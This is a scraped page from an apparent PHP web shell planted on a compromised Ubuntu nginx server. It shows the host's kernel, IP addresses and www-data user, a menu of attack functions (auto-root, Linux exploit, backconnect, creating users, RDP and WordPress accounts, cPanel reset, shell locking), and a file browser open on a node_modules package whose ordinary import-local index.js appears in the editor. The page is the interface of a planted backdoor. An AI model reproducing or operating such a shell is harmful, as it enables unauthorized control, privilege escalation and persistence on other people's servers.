Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
import-local /
[ HOME SHELL ]
Name
Size
Permission
Action
fixtures
[ DIR ]
dr-xr-xr-x
index.d.ts
467
B
-rw-rw-rw-
index.js
1.35
KB
-rw-rw-rw-
license
1.09
KB
-rw-rw-rw-
package.json
965
B
-rw-rw-rw-
readme.md
671
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
'use strict'; const path = require('path'); const {fileURLToPath} = require('url'); const resolveCwd = require('resolve-cwd'); const pkgDir = require('pkg-dir'); module.exports = filename => { const normalizedFilename = filename.startsWith('file://') ? fileURLToPath(filename) : filename; const globalDir = pkgDir.sync(path.dirname(normalizedFilename)); const relativePath = path.relative(globalDir, normalizedFilename); const pkg = require(path.join(globalDir, 'package.json')); const localFile = resolveCwd.silent(path.join(pkg.name, relativePath)); const localNodeModules = path.join(process.cwd(), 'node_modules'); const filenameInLocalNodeModules = !path.relative(localNodeModules, normalizedFilename).startsWith('..') && // On Windows, if `localNodeModules` and `normalizedFilename` are on different partitions, `path.relative()` returns the value of `normalizedFilename`, resulting in `filenameInLocalNodeModules` incorrectly becoming `true`. path.parse(localNodeModules).root === path.parse(normalizedFilename).root; // Use `path.relative()` to detect local package installation, // because __filename's case is inconsistent on Windows // Can use `===` when targeting Node.js 8 // See https://github.com/nodejs/node/issues/6624 return !filenameInLocalNodeModules && localFile && path.relative(localFile, normalizedFilename) !== '' && require(localFile); };
Close